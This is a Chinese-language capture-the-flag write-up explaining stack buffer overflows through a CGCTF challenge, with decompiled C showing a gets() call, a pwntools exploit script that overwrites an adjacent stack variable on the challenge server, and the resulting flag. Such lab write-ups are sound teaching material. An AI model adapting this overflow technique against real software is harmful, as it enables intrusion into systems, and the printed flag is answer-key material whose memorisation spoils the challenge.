題目來源:
CGCTF
題目描述:
只要知道你的年齡就能獲得flag,但菜雞發現無論如何輸入都不正確,怎么辦
題目場景:
111.198.29.45:47091
題目附件:
24ac28ef281b4b6caab44d6d52b17491
題目思路:
這是一道很簡單的堆疊溢位的題,當然首先你得懂函式呼叫時堆疊的原理,你還得學會通過pwntools撰寫簡單的Python腳本,還得懂點Linux運行的機制、懂點IDA,
堆疊溢位指的是程式向堆疊中某個變數中寫入的位元組數超過了這個變數本身所申請的位元組數,因而導致與其相鄰的堆疊中的變數的值被改變,這種問題是一種特定的緩沖區溢位漏洞,類似的還有堆溢位,bss 段溢位等溢位方式,堆疊溢位漏洞輕則可以使程式崩潰,重則可以使攻擊者控制程式執行流程,此外,我們也不難發現,發生堆疊溢位的基本前提是:
程式必須向堆疊上寫入資料,
寫入的資料大小沒有被良好地控制,
解題程序:
載入IDA64,找到main函式,F5反編譯得到偽C代碼:
int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
__int64 result; // rax
char name; // [rsp+0h] [rbp-20h]
unsigned int input_birth; // [rsp+8h] [rbp-18h]
unsigned __int64 v6; // [rsp+18h] [rbp-8h]
v6 = __readfsqword(0x28u);
setbuf(stdin, 0LL);
setbuf(stdout, 0LL);
setbuf(stderr, 0LL);
puts("What's Your Birth?");
__isoc99_scanf("%d", &input_birth);
while ( getchar() != 10 )
;
if ( input_birth == 1926 )
{
puts("You Cannot Born In 1926!");
result = 0LL;
}
else
{
puts("What's Your Name?");
gets((__int64)&name); // stack overflow here
printf("You Are Born In %d\n", input_birth);
if ( input_birth == 1926 )
{
puts("You Shall Have Flag.");
system("cat flag");
}
else
{
puts("You Are Naive.");
puts("You Speed One Second Here.");
}
result = 0LL;
}
return result;
}
從system("cat flag");這一句來看,我們輸入的birth要為1926,但是前面的判斷又限制birth不能為1926,
查看重命名后的name與input_birth在堆疊上的距離:

name與input_birth相差了8個位元組,而且input_birth的地址高于name,所以在第一次輸入birth時輸入非1926的數,然后在輸入name時通過覆寫input_birth地址處的內容為1926來使得判斷input_birth == 1926成立,
(1926)十進制==(0x786)十六進制
exp腳本:
from pwn import *
p = remote('111.198.29.45',47091)
birth = "1111"
name = "a"*8+ p64(0x786)
p.recvuntil("What's Your Birth?")
p.sendline(birth)
p.recvuntil("What's Your Name?")
p.sendline(name)
p.recv()
p.recv()
print(p.recv())
cyberpeace{c292e61b0fe8f85f59d7a56785120bc8}
轉載請註明出處,本文鏈接:https://www.uj5u.com/qita/260974.html
標籤:其他
上一篇:Kotlin手記-(2)變數
